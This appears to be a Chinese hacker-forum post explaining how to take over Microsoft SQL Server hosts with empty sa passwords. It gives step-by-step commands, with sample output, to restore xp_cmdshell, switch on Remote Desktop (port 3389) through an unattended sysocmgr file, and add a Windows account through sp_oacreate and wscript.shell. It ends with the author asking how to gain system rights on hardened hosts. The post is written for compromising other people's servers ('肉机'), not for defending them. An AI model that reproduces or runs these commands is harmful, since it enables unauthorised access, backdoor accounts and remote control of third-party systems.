SQL入侵恢复XP_CMDSHLL与开3389

一,用SQL连接器恢复XP_CMDSHLLE的命令
（1）sp_addextendedprocxp_cmdshell,@dllname='xplog70.dll'
（2）首先在SqlExecSunxVersion的Format选项里填上%s，在CMD选项里输入
sp_addextendedproc'xp_cmdshell','xpsql70.dll'
去除
sp_dropextendedproc'xp_cmdshell'
（3）MSSQL2000
sp_addextendedproc'xp_cmdshell','xplog70.dll'
修改sa密码sp_password@old=null,@new='complexpwd',@loginame='sa'

这个很简单,自己堵后门用:)
 
二,在可以运行XP_CMDSHELL的机器上直接开3389不需要上传的
连接到主机:202.xxx.xxx.xxx//大家可以用sql连接器连上有空口令的sql肉机

命令:xp_cmdshell"typec:\boot.ini"//输入命令，看系统，server版的才能开3389

执行成功,结果:

[bootloader]

timeout=30

default=multi(0)disk(0)rdisk(0)partition(1)\WINNT

[operatingsystems]

multi(0)disk(0)rdisk(0)partition(1)\WINNT="MicrosoftWindows2000Server"/fastdetect

multi(0)disk(0)rdisk(0)partition(1)\WINNT="MicrosoftWindows2000Server"/fastdetect
命令:xp_cmdshell"echo[Components]>c:\duguxike"//在c盘根目录建写入一个文件，文件名duguxike大家可以自己改为自己的

执行成功,结果:
命令:xp_cmdshell"echoTsEnable=on>>c:\duguxike"//追加写入

执行成功,结果:
命令:xp_cmdshell"typec:\duguxike"//看看duguxike里的内容是否正确

执行成功,结果:

[Components]

TsEnable=on

TsEnable=on
命令:xp_cmdshell"sysocmgr/i:c:\winnt\inf\sysoc.inf/u:c:\duguxike/q"//开3389，成功的话过会肉机会重启！！

执行成功,结果:

GetLocalManagedApplicationsreturned(2)
之后就看大家的了，不过要记得册除新建的duguxike文件哦！！
 
三,不需要XP_CMDSHLL直接添加系统帐号,对XPLOG70.DLL被删很有效
declare@shellintexecsp_oacreate'wscript.shell',@shelloutputexecsp_oamethod@shell,'run',null,'c:\winnt\system32\cmd.exe/cnetusergchnaaa/add'--


第一条恢复如果XPCMDSHLL被删了
第二条可以执行XPCMDSHELL但是无法利用差异备分来上传的情况下使用(本人WIN2000下测试成功)
第三条XPLOG70.DLL被删除的情况下直接添加帐号前提对方了开了338913923
但是我现在无法在XPLOG70.DLL被删而且没有开3389的机器上拿到系统权限

哪为高人来指点一下!


 
*
*